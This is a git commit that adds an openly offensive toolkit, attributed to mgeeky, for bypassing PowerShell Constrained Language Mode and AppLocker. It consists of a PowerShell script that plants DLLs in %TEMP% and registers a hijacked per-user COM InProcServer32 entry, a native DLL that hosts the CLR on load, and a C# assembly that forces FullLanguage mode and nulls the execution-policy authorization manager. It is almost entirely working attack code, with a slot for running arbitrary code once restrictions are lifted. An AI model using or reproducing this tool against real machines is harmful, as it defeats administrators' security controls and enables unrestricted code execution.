Added Bypass-ConstrainedLanguageMode
This commit is contained in:
mb
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4aa113e076
commit
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# -------------------------
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$comName = "ClmDisableDll"
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$comDescription = "CLM Disable COM"
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$srcDllPath = '.\ClmDisableDll.dll'
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$dstDllPath = "$($Env:Temp)\ClmDisableDll.dll"
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$srcAssemblyPath = '.\ClmDisableAssembly.dll'
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$dstAssemblyPath = "$($Env:Temp)\ClmDisableAssembly.dll"
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$guid = "{394aaa50-684e-4870-911a-d045293b3b13}"
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# -------------------------
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function Bypass-CLM
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{
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param(
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[switch]$RemoveComWhenFinished
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)
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$ErrorActionPreference = "SilentlyContinue"
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function Create-COM {
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param(
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[Parameter(Mandatory = $true)]
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[string]$comName,
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[Parameter(Mandatory = $true)]
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[string]$comDescription,
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[Parameter(Mandatory = $true)]
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[string]$dllPath,
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[Parameter(Mandatory = $true)]
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[string]$guid
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)
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# Obtains current user SID, can't use System.Security.Principal.NTAccount
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# type because we are in Constrained Language Mode
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$sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value
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New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS
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$key = 'HKU:\{0}_classes' -f $sid
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# Adding our own InProcServer32
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$key = 'HKU:\{0}_classes\CLSID\' -f $sid
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New-Item -Path $key -Name $guid
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$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
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New-Item -Path $key -Name 'InProcServer32'
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New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
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$key = 'HKU:\{0}_classes\CLSID\{1}\InProcServer32' -f $sid, $guid
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New-ItemProperty -Path $key -Name '(Default)' -Value $dllPath -PropertyType String -Force
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New-ItemProperty -Path $key -Name 'ThreadingModel' -Value "Apartment" -PropertyType String -Force
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# Registering COM's ProgID / shortname
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$key = 'HKU:\{0}_classes' -f $sid
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New-Item -Path $key -Name $comName
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$key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
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New-ItemProperty -Path $key -Name '(Default)' -Value $comDescription -PropertyType String -Force
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New-Item -Path $key -Name 'CLSID'
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$key = 'HKU:\{0}_classes\{1}\CLSID' -f $sid, $comName
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New-ItemProperty -Path $key -Name '(Default)' -Value $guid -PropertyType String -Force
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}
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function Remove-COM {
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param(
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[Parameter(Mandatory = $true)]
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[string]$comName,
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[Parameter(Mandatory = $true)]
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[string]$guid
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)
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$sid = (whoami /user | select-string -Pattern "(S-1-5[0-9-]+)" -all | select -ExpandProperty Matches).value
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New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS | Out-Null
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$key = 'HKU:\{0}_classes\{1}' -f $sid, $comName
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Remove-Item -Path $key -Recurse | Out-Null
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$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $guid
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Remove-Item -Path $key -Recurse | Out-Null
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}
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function Invoke-PS {
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param(
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[Parameter(Mandatory = $true)]
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[string]$Commands
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)
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$Runspace = [runspacefactory]::CreateRunspace()
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$posh = [powershell]::Create()
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$posh.runspace = $Runspace
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$Runspace.Open()
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[void]$posh.AddScript($Commands)
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$posh.Invoke()
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$posh.Dispose() | Out-Null
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}
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Write-Host "`tAppLocker Constrined Language Mode Bypass via COM"
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Write-Host "`t(implementation of: @xpn's technique, as documented in:)"
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Write-Host "`t(https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/)"
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Write-Host "`n`tRe-implemented, enhanced by: Mariusz B., mgeeky"
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Write-Host "`t-----`n"
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Write-Host "[.] Step 0. Planted DLL files in:`n`t$dstAssemblyPath`n`t$dstDllPath"
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Copy-Item $srcDllPath $dstDllPath -Force
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Copy-Item $srcAssemblyPath $dstAssemblyPath -Force
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Write-Host "[.] Step 1. Creating custom COM object."
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Create-COM -ComName $comName -ComDescription $comDescription -DllPath $dstDllPath -Guid $guid | Out-Null
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Write-Host "[.] Step 2. Invoking it ($comName)..."
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Write-Host "`tPowershell runspace Thread ID: $([appdomain]::GetCurrentThreadId())"
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try
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{
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New-Object -ComObject $comName -erroraction 'silentlycontinue' | Out-Null
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}
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catch
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{
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}
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if($RemoveComWhenFinished)
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{
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Write-Host "[.] Removing registered COM object."
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Remove-COM -ComName $comName -Guid $guid
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}
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else
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{
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Write-Host "`n============"
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Write-Host -ForegroundColor Yellow "`nUse below command to disable CLM on Demand (ignore errors):"
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Write-Host "`n`tPS> " -NoNewLine
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Write-Host -ForegroundColor Green "New-Object -ComObject $comName"
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Write-Host "`n============`n"
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}
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#############################################################
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#
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# PUT YOUR CODE BELOW THAT IS GOING TO BE RUN IN CLM DISABLED
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#
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Write-Host "`n[+] Finished. CLM status: $($ExecutionContext.SessionState.LanguageMode)"
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#############################################################
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}
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Bypass-CLM
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<?xml version="1.0" encoding="utf-8"?>
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<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
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<PropertyGroup>
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<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
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<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
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<ProjectGuid>{5054C13F-1351-47B9-A6CA-25F4548F68A7}</ProjectGuid>
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<OutputType>Library</OutputType>
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<RootNamespace>ClmDisableAssembly</RootNamespace>
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<AssemblyName>ClmDisableAssembly</AssemblyName>
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<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
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<FileAlignment>512</FileAlignment>
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<Deterministic>true</Deterministic>
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<TargetFrameworkProfile />
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<PublishUrl>publish\</PublishUrl>
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<Install>true</Install>
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<InstallFrom>Disk</InstallFrom>
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<UpdateEnabled>false</UpdateEnabled>
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<UpdateMode>Foreground</UpdateMode>
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<UpdateInterval>7</UpdateInterval>
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<UpdateIntervalUnits>Days</UpdateIntervalUnits>
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<UpdatePeriodically>false</UpdatePeriodically>
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<UpdateRequired>false</UpdateRequired>
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<MapFileExtensions>true</MapFileExtensions>
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<ApplicationRevision>0</ApplicationRevision>
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<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
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<IsWebBootstrapper>false</IsWebBootstrapper>
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<UseApplicationTrust>false</UseApplicationTrust>
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<BootstrapperEnabled>true</BootstrapperEnabled>
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</PropertyGroup>
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<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
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<PlatformTarget>AnyCPU</PlatformTarget>
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<DebugSymbols>true</DebugSymbols>
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<DebugType>full</DebugType>
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<Optimize>false</Optimize>
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<OutputPath>bin\Debug\</OutputPath>
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<DefineConstants>DEBUG;TRACE</DefineConstants>
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<ErrorReport>prompt</ErrorReport>
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<WarningLevel>4</WarningLevel>
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<Prefer32Bit>false</Prefer32Bit>
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</PropertyGroup>
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<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
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<PlatformTarget>AnyCPU</PlatformTarget>
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<DebugType>pdbonly</DebugType>
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<Optimize>true</Optimize>
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<OutputPath>bin\Release\</OutputPath>
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<DefineConstants>TRACE</DefineConstants>
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<ErrorReport>prompt</ErrorReport>
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<WarningLevel>4</WarningLevel>
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<Prefer32Bit>false</Prefer32Bit>
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</PropertyGroup>
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<PropertyGroup>
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<StartupObject />
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</PropertyGroup>
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<PropertyGroup />
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<ItemGroup>
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<Reference Include="System" />
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<Reference Include="System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL">
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<HintPath>System.Management.Automation.dll</HintPath>
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</Reference>
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</ItemGroup>
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<ItemGroup>
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<Compile Include="Program.cs" />
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<Compile Include="Properties\AssemblyInfo.cs" />
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</ItemGroup>
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<ItemGroup>
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<None Include="app.config" />
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<None Include="app.manifest" />
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<None Include="packages.config" />
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</ItemGroup>
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<ItemGroup>
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<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
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<Visible>False</Visible>
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<ProductName>.NET Framework 3.5 SP1</ProductName>
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<Install>false</Install>
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</BootstrapperPackage>
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</ItemGroup>
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<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
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</Project>
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using System;
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using System.Management.Automation;
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using System.Management.Automation.Runspaces;
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namespace ClmDisableAssembly
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{
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public class ClmDisableAssembly
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{
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[System.Runtime.InteropServices.DllImport("kernel32.dll")]
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static extern int GetCurrentThreadId();
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public static int Start(string arg)
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{
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Console.WriteLine("[+] Managed mode assembly. Disabling CLM globally.");
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Console.WriteLine("\tCurrent thread ID (managed/unmanaged): " + System.Threading.Thread.CurrentThread.ManagedThreadId.ToString() + " / " + GetCurrentThreadId().ToString());
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if (arg.Length > 0)
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{
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Console.WriteLine($"\tPassed argument: '{arg}'");
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}
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// Switches back to FullLanguage in CLM
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Runspace.DefaultRunspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
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try
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{
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Runspace.DefaultRunspace.InitialSessionState.LanguageMode = PSLanguageMode.FullLanguage;
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// Bypasses PowerShell execution policy
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Runspace.DefaultRunspace.InitialSessionState.AuthorizationManager = null;
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}
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catch (Exception e)
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{
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Console.WriteLine("[-] Approach #1 failed: " + e);
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}
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try
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{
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Runspace runspace = RunspaceFactory.CreateRunspace();
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runspace.ApartmentState = System.Threading.ApartmentState.STA;
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runspace.ThreadOptions = PSThreadOptions.UseCurrentThread;
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runspace.Open();
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runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
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runspace.Close();
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}
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catch (Exception e)
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{
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Console.WriteLine("[-] Approach #2 failed: " + e);
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}
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try
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{
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InitialSessionState initialSessionState = InitialSessionState.CreateDefault();
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initialSessionState.ApartmentState = System.Threading.ApartmentState.STA;
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initialSessionState.AuthorizationManager = null;
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initialSessionState.ThreadOptions = PSThreadOptions.UseCurrentThread;
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using (Runspace runspace = RunspaceFactory.CreateRunspace(initialSessionState))
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{
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runspace.Open();
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runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
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runspace.InitialSessionState.AuthorizationManager = null;
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runspace.InitialSessionState.LanguageMode = PSLanguageMode.FullLanguage;
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runspace.Close();
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}
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}
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catch (Exception e)
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{
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Console.WriteLine("[-] Approach #3 failed: " + e);
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}
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return 0;
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}
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}
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}
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using System.Reflection;
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using System.Runtime.CompilerServices;
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using System.Runtime.InteropServices;
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// Ogólne informacje o zestawie są kontrolowane poprzez następujący
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// zestaw atrybutów. Zmień wartości tych atrybutów, aby zmodyfikować informacje
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// powiązane z zestawem.
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[assembly: AssemblyTitle("ClmDisableAssembly")]
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[assembly: AssemblyDescription("")]
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[assembly: AssemblyConfiguration("")]
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[assembly: AssemblyCompany("")]
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[assembly: AssemblyProduct("ClmDisableAssembly")]
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[assembly: AssemblyCopyright("Copyright © 2019")]
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[assembly: AssemblyTrademark("")]
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[assembly: AssemblyCulture("")]
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// Ustawienie elementu ComVisible na wartość false sprawia, że typy w tym zestawie są niewidoczne
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// dla składników COM. Jeśli potrzebny jest dostęp do typu w tym zestawie z
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// COM, ustaw wartość true dla atrybutu ComVisible tego typu.
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[assembly: ComVisible(false)]
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// Następujący identyfikator GUID jest identyfikatorem biblioteki typów w przypadku udostępnienia tego projektu w modelu COM
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[assembly: Guid("5054c13f-1351-47b9-a6ca-25f4548f68a7")]
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// Informacje o wersji zestawu zawierają następujące cztery wartości:
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//
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// Wersja główna
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// Wersja pomocnicza
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// Numer kompilacji
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// Rewizja
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//
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// Możesz określić wszystkie wartości lub użyć domyślnych numerów kompilacji i poprawki
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// przy użyciu symbolu „*”, tak jak pokazano poniżej:
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// [assembly: AssemblyVersion("1.0.*")]
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[assembly: AssemblyVersion("1.0.0.0")]
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[assembly: AssemblyFileVersion("1.0.0.0")]
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Binary file not shown.
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Microsoft Visual Studio Solution File, Format Version 12.00
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# Visual Studio 15
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VisualStudioVersion = 15.0.28307.572
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MinimumVisualStudioVersion = 10.0.40219.1
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Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ClmDisableDll", "ClmDisableDll.vcxproj", "{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}"
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EndProject
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Global
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GlobalSection(SolutionConfigurationPlatforms) = preSolution
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Debug|x64 = Debug|x64
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Debug|x86 = Debug|x86
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Release|x64 = Release|x64
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Release|x86 = Release|x86
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EndGlobalSection
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GlobalSection(ProjectConfigurationPlatforms) = postSolution
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{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x64.ActiveCfg = Debug|x64
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{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x64.Build.0 = Debug|x64
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{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x86.ActiveCfg = Debug|Win32
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{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x86.Build.0 = Debug|Win32
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{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x64.ActiveCfg = Release|x64
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{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x64.Build.0 = Release|x64
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{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x86.ActiveCfg = Release|Win32
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{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x86.Build.0 = Release|Win32
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EndGlobalSection
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GlobalSection(SolutionProperties) = preSolution
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HideSolutionNode = FALSE
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EndGlobalSection
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GlobalSection(ExtensibilityGlobals) = postSolution
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SolutionGuid = {1154B3D3-39A5-4687-A246-E70587D3BE81}
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EndGlobalSection
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EndGlobal
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<?xml version="1.0" encoding="utf-8"?>
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<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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||||
<ItemGroup Label="ProjectConfigurations">
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<ProjectConfiguration Include="Debug|Win32">
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<Configuration>Debug</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|Win32">
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<Configuration>Release</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Debug|x64">
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<Configuration>Debug</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|x64">
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<Configuration>Release</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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</ItemGroup>
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<PropertyGroup Label="Globals">
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<VCProjectVersion>15.0</VCProjectVersion>
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<ProjectGuid>{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}</ProjectGuid>
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<RootNamespace>ClmDisableDll</RootNamespace>
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<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
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<ConfigurationType>DynamicLibrary</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v141</PlatformToolset>
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<CharacterSet>MultiByte</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
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||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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||||
<PlatformToolset>v141</PlatformToolset>
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||||
<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>MultiByte</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
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||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalOptions> /GL /Os /GF /Gy /GA %(AdditionalOptions)</AdditionalOptions>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<CallingConvention>StdCall</CallingConvention>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions>/OPT:REF /OPT:ICF /LTCG %(AdditionalOptions)</AdditionalOptions>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalOptions> /GL /Os /GF /Gy /GA %(AdditionalOptions)</AdditionalOptions>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<CallingConvention>StdCall</CallingConvention>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions>/OPT:REF /OPT:ICF /LTCG %(AdditionalOptions)</AdditionalOptions>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
|
|
@ -0,0 +1,143 @@
|
|||
/**
|
||||
* This DLL hosts CLR4 environment from within a native binary. This way it is possible to
|
||||
* call .NET APIs from an unmanaged runtime.
|
||||
*
|
||||
* Mariusz B., mgeeky, 19'
|
||||
*
|
||||
**/
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <metahost.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#pragma comment(lib, "mscoree.lib")
|
||||
|
||||
//////////////////////////////////////////////////
|
||||
//
|
||||
// Specify below .NET assembly, main class to instantiate and parameters to pass there.
|
||||
|
||||
namespace CustomAssemblyParameters {
|
||||
LPCWSTR AssemblyName = L"%TEMP%\\ClmDisableAssembly.dll";
|
||||
LPCWSTR TypeName = L"ClmDisableAssembly.ClmDisableAssembly";
|
||||
LPCWSTR MethodName = L"Start";
|
||||
LPCWSTR Argument = L"(called from native CLR host)";
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////
|
||||
|
||||
#ifdef _DEBUG
|
||||
# define msg(x) MessageBoxW(nullptr, x, L"LoadCLRFromNativeDLL", 0)
|
||||
#else
|
||||
# define msg(x) ((void)0)
|
||||
#endif
|
||||
|
||||
void DoProcessAttach()
|
||||
{
|
||||
ICLRMetaHost *metaHost = nullptr;
|
||||
ICLRRuntimeInfo *runtimeInfo = nullptr;
|
||||
ICLRRuntimeHost *runtimeHost = nullptr;
|
||||
IEnumUnknown *runtime = nullptr;
|
||||
IUnknown *enumRuntime = nullptr;
|
||||
|
||||
LPWSTR frameworkName = nullptr;
|
||||
DWORD bytes = 2048;
|
||||
DWORD result = 0;
|
||||
|
||||
if (CLRCreateInstance(
|
||||
CLSID_CLRMetaHost,
|
||||
IID_ICLRMetaHost,
|
||||
reinterpret_cast<LPVOID*>(&metaHost)
|
||||
) != S_OK) {
|
||||
msg(L"FAIL: Could not create MetaHost CLR instance.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!metaHost || (metaHost->EnumerateInstalledRuntimes(
|
||||
&runtime
|
||||
) != S_OK)) {
|
||||
msg(L"FAIL: Cannot enumerate installed runtimes.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!runtime) {
|
||||
msg(L"FAIL: Could not find installed runtimes.");
|
||||
return;
|
||||
}
|
||||
|
||||
frameworkName = reinterpret_cast<LPWSTR>(LocalAlloc(
|
||||
LPTR,
|
||||
bytes
|
||||
));
|
||||
if (!frameworkName) {
|
||||
msg(L"FAIL: could not allocate 2048 bytes for framework name buffer.");
|
||||
return;
|
||||
}
|
||||
|
||||
while (runtime->Next(1, &enumRuntime, 0) == S_OK) {
|
||||
if (enumRuntime && (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK)) {
|
||||
if (runtimeInfo != nullptr) {
|
||||
runtimeInfo->GetVersionString(frameworkName, &bytes);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (runtimeInfo == nullptr || (runtimeInfo->GetInterface(
|
||||
CLSID_CLRRuntimeHost,
|
||||
IID_ICLRRuntimeHost,
|
||||
reinterpret_cast<LPVOID*>(&runtimeHost)
|
||||
) != S_OK)) {
|
||||
msg(L"FAIL: Could not get CLRRuntimeHost interface's reference.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (runtimeHost == nullptr) {
|
||||
msg(L"FAIL: Could not obtain reference to CLRRuntimeHost.");
|
||||
return;
|
||||
}
|
||||
|
||||
runtimeHost->Start();
|
||||
|
||||
WCHAR assemblyPath[1024] = L"";
|
||||
ExpandEnvironmentStringsW(CustomAssemblyParameters::AssemblyName, assemblyPath, _countof(assemblyPath));
|
||||
LPCWSTR assemblyPathPtr = assemblyPath;
|
||||
|
||||
HRESULT hres = runtimeHost->ExecuteInDefaultAppDomain(
|
||||
assemblyPathPtr,
|
||||
CustomAssemblyParameters::TypeName,
|
||||
CustomAssemblyParameters::MethodName,
|
||||
CustomAssemblyParameters::Argument,
|
||||
&result
|
||||
);
|
||||
if (hres != S_OK) {
|
||||
wchar_t msgbuf[1024] = L"";
|
||||
swprintf_s(msgbuf, L"FAIL: Could not invoke custom .NET assembly, instantiate it's type or invoke a method. HRESULT = 0x%08x . Assembly path: '%s'", hres, assemblyPath);
|
||||
msg(msgbuf);
|
||||
}
|
||||
|
||||
//runtimeHost->Stop();
|
||||
//runtimeHost->Release();
|
||||
runtimeInfo->Release();
|
||||
metaHost->Release();
|
||||
}
|
||||
|
||||
BOOLEAN WINAPI DllMain(
|
||||
IN HINSTANCE /*hDllHandle*/,
|
||||
IN DWORD nReason,
|
||||
IN LPVOID /*Reserved*/
|
||||
)
|
||||
{
|
||||
switch (nReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
{
|
||||
DoProcessAttach();
|
||||
break;
|
||||
}
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
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Binary file not shown.
Loading…
Reference in New Issue